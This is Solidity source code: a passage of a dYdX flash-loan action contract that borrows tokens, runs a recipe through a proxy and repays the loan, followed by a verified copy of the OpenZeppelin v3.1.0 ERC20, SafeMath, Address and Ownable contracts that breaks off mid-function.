struct Wei {
bool sign; // true if positive
uint256 value;
}
}
abstract contract ISoloMargin {
struct OperatorArg {
address operator;
bool trusted;
}
function ownerSetSpreadPremium(
uint256 marketId,
Decimal.D256 memory spreadPremium
) public virtual;
function getIsGlobalOperator(address operator) public virtual view returns (bool);
function getMarketTokenAddress(uint256 marketId)
public virtual
view
returns (address);
function ownerSetInterestSetter(uint256 marketId, address interestSetter)
public virtual;
function getAccountValues(Account.Info memory account)
public virtual
view
returns (Monetary.Value memory, Monetary.Value memory);
function getMarketPriceOracle(uint256 marketId)
public virtual
view
returns (address);
function getMarketInterestSetter(uint256 marketId)
public virtual
view
returns (address);
function getMarketSpreadPremium(uint256 marketId)
public virtual
view
returns (Decimal.D256 memory);
function getNumMarkets() public virtual view returns (uint256);
function ownerWithdrawUnsupportedTokens(address token, address recipient)
public virtual
returns (uint256);
function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue)
public virtual;
function ownerSetLiquidationSpread(Decimal.D256 memory spread) public virtual;
function ownerSetEarningsRate(Decimal.D256 memory earningsRate) public virtual;
function getIsLocalOperator(address, address)
public virtual
view
returns (bool);
function getAccountPar(Account.Info memory account, uint256 marketId)
public virtual
view
returns (Types.Par memory);
function ownerSetMarginPremium(
uint256 marketId,
Decimal.D256 memory marginPremium
) public virtual;
function getMarginRatio() public virtual view returns (Decimal.D256 memory);
function getMarketCurrentIndex(uint256 marketId)
public virtual
view
returns (Interest.Index memory);
function getMarketIsClosing(uint256 marketId) public virtual view returns (bool);
function getRiskParams() public virtual view returns (Storage.RiskParams memory);
function getAccountBalances(Account.Info memory account)
public virtual
view
returns (address[] memory, Types.Par[] memory, Types.Wei[] memory);
function renounceOwnership() public virtual;
function getMinBorrowedValue() public virtual view returns (Monetary.Value memory);
function setOperators(OperatorArg[] memory args) public virtual;
function getMarketPrice(uint256 marketId) public virtual view returns (address);
function owner() public virtual view returns (address);
function isOwner() public virtual view returns (bool);
function ownerWithdrawExcessTokens(uint256 marketId, address recipient)
public virtual
returns (uint256);
function ownerAddMarket(
address token,
address priceOracle,
address interestSetter,
Decimal.D256 memory marginPremium,
Decimal.D256 memory spreadPremium
) public virtual;
function operate(
Account.Info[] memory accounts,
Actions.ActionArgs[] memory actions
) public virtual;
function getMarketWithInfo(uint256 marketId)
public virtual
view
returns (
Storage.Market memory,
Interest.Index memory,
Monetary.Price memory,
Interest.Rate memory
);
function ownerSetMarginRatio(Decimal.D256 memory ratio) public virtual;
function getLiquidationSpread() public virtual view returns (Decimal.D256 memory);
function getAccountWei(Account.Info memory account, uint256 marketId)
public virtual
view
returns (Types.Wei memory);
function getMarketTotalPar(uint256 marketId)
public virtual
view
returns (Types.TotalPar memory);
function getLiquidationSpreadForPair(
uint256 heldMarketId,
uint256 owedMarketId
) public virtual view returns (Decimal.D256 memory);
function getNumExcessTokens(uint256 marketId)
public virtual
view
returns (Types.Wei memory);
function getMarketCachedIndex(uint256 marketId)
public virtual
view
returns (Interest.Index memory);
function getAccountStatus(Account.Info memory account)
public virtual
view
returns (uint8);
function getEarningsRate() public virtual view returns (Decimal.D256 memory);
function ownerSetPriceOracle(uint256 marketId, address priceOracle) public virtual;
function getRiskLimits() public virtual view returns (Storage.RiskLimits memory);
function getMarket(uint256 marketId)
public virtual
view
returns (Storage.Market memory);
function ownerSetIsClosing(uint256 marketId, bool isClosing) public virtual;
function ownerSetGlobalOperator(address operator, bool approved) public virtual;
function transferOwnership(address newOwner) public virtual;
function getAdjustedAccountValues(Account.Info memory account)
public virtual
view
returns (Monetary.Value memory, Monetary.Value memory);
function getMarketMarginPremium(uint256 marketId)
public virtual
view
returns (Decimal.D256 memory);
function getMarketInterestRate(uint256 marketId)
public virtual
view
returns (Interest.Rate memory);
}
contract MainnetFLAddresses {
address internal constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
address internal constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address internal constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address internal constant DYDX_FL_FEE_FAUCET = 0x47f159C90850D5cE09E21F931d504536840f34b4;
address internal constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address internal constant AAVE_LENDING_POOL_ADDRESS_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
address internal constant DSS_FLASH_ADDR = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
address internal constant DAI_ADDR = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
}
contract FLHelper is MainnetFLAddresses {
}
contract DydxFlashLoanBase is FLHelper {
using SafeMath for uint256;
error MarketIdNotFound();
function _getMarketIdFromTokenAddress(address _solo, address _token)
internal
view
returns (uint256 marketId)
{
ISoloMargin solo = ISoloMargin(_solo);
uint256 numTokenIds = solo.getNumMarkets();
for (uint256 i = 0; i < numTokenIds; i++) {
if (solo.getMarketTokenAddress(i) == _token) {
return i;
}
}
// if we get this far no id has been found
revert MarketIdNotFound();
}
function _getRepaymentAmountInternal(uint256 amount) internal pure returns (uint256) {
// Needs to provide +2 wei to be safe
return amount.add(2);
}
function _getAccountInfo() internal view returns (Account.Info memory) {
return Account.Info({owner: address(this), number: 1});
}
function _getWithdrawAction(
uint256 marketId,
uint256 amount,
address contractAddr
) internal pure returns (Actions.ActionArgs memory) {
return
Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: contractAddr,
otherAccountId: 0,
data: ""
});
}
function _getCallAction(bytes memory data, address contractAddr)
internal
pure
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: contractAddr,
otherAccountId: 0,
data: data
});
}
function _getDepositAction(
uint256 marketId,
uint256 amount,
address contractAddr
) internal pure returns (Actions.ActionArgs memory) {
return
Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: contractAddr,
otherAccountId: 0,
data: ""
});
}
}
abstract contract IFlashLoanBase{
struct FlashLoanParams {
address[] tokens;
uint256[] amounts;
uint256[] modes;
address onBehalfOf;
address flParamGetterAddr;
bytes flParamGetterData;
bytes recipeData;
}
}
contract FLDyDx is ActionBase, StrategyModel, DydxFlashLoanBase, ReentrancyGuard, IFlashLoanBase {
using SafeERC20 for IERC20;
using TokenUtils for address;
//Caller not dydx
error OnlyDyDxCallerError();
//FL taker must be this contract
error SameCallerError();
string constant ERR_ONLY_DYDX_CALLER = "Caller not dydx";
string constant ERR_SAME_CALLER = "FL taker must be this contract";
string constant ERR_WRONG_PAYBACK_AMOUNT = "Wrong FL payback amount sent";
uint256 public constant DYDX_DUST_FEE = 2;
FLFeeFaucet public constant flFeeFaucet = FLFeeFaucet(DYDX_FL_FEE_FAUCET);
bytes4 constant RECIPE_EXECUTOR_ID = bytes4(keccak256("RecipeExecutor"));
/// @inheritdoc ActionBase
function executeAction(
bytes memory _callData,
bytes32[] memory,
uint8[] memory,
bytes32[] memory
) public payable override returns (bytes32) {
FlashLoanParams memory inputData = parseInputs(_callData);
// if we want to get on chain info about FL params
if (inputData.flParamGetterAddr != address(0)) {
(address[] memory tokens, uint256[] memory amounts, ) =
IFLParamGetter(inputData.flParamGetterAddr).getFlashLoanParams(inputData.flParamGetterData);
inputData.amounts[0] = amounts[0];
inputData.tokens[0] = tokens[0];
}
bytes memory recipeData = inputData.recipeData;
uint256 flAmount = _flDyDx(inputData.amounts[0], inputData.tokens[0], abi.encode(recipeData, inputData.amounts[0], inputData.tokens[0]));
return bytes32(flAmount);
}
// solhint-disable-next-line no-empty-blocks
function executeActionDirect(bytes memory _callData) public payable override {}
/// @inheritdoc ActionBase
function actionType() public pure override returns (uint8) {
return uint8(ActionType.FL_ACTION);
}
//////////////////////////// ACTION LOGIC ////////////////////////////
/// @notice Gets a Fl from Dydx and returns back the execution to the action address
/// @param _amount Amount of tokens to FL
/// @param _token Token address we want to FL
/// @param _data Rest of the data we have in the recipe
function _flDyDx(
uint256 _amount,
address _token,
bytes memory _data
) internal returns (uint256) {
address payable receiver = payable(address(this));
ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(SOLO_MARGIN_ADDRESS, _token);
uint256 repayAmount = _getRepaymentAmountInternal(_amount);
IERC20(_token).safeApprove(SOLO_MARGIN_ADDRESS, repayAmount);
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, _amount, receiver);
operations[1] = _getCallAction(_data, receiver);
operations[2] = _getDepositAction(marketId, repayAmount, address(this));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo();
solo.operate(accountInfos, operations);
emit ActionEvent("FLDyDx", abi.encode(_amount, _token));
return _amount;
}
/// @notice Dydx callback function that formats and calls back RecipeExecutor
function callFunction(
address _initiator,
Account.Info memory,
bytes memory _data
) public nonReentrant {
if (msg.sender != SOLO_MARGIN_ADDRESS){
revert OnlyDyDxCallerError();
}
if (_initiator != address(this)){
revert SameCallerError();
}
(bytes memory callData, uint256 amount, address tokenAddr) =
abi.decode(_data, (bytes, uint256, address));
(Recipe memory currRecipe, address proxy) = abi.decode(callData, (Recipe, address));
tokenAddr.withdrawTokens(proxy, amount);
address payable RecipeExecutor = payable(registry.getAddr(RECIPE_EXECUTOR_ID));
// call Action execution
IDSProxy(proxy).execute{value: address(this).balance}(
RecipeExecutor,
abi.encodeWithSignature("_executeActionsFromFL((string,bytes[],bytes32[],bytes4[],uint8[][]),bytes32)", currRecipe, amount)
);
// return FL (just send funds to this addr)
require(tokenAddr.getBalance(address(this)) == amount, ERR_WRONG_PAYBACK_AMOUNT);
flFeeFaucet.my2Wei(tokenAddr); // get extra 2 wei for DyDx fee
}
function parseInputs(bytes memory _callData) public pure returns (FlashLoanParams memory inputData) {
inputData = abi.decode(_callData, (FlashLoanParams));
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
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/**
*Submitted for verification at Etherscan.io on 2020-06-25
*/
// SPDX-License-Identifier: MIT
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
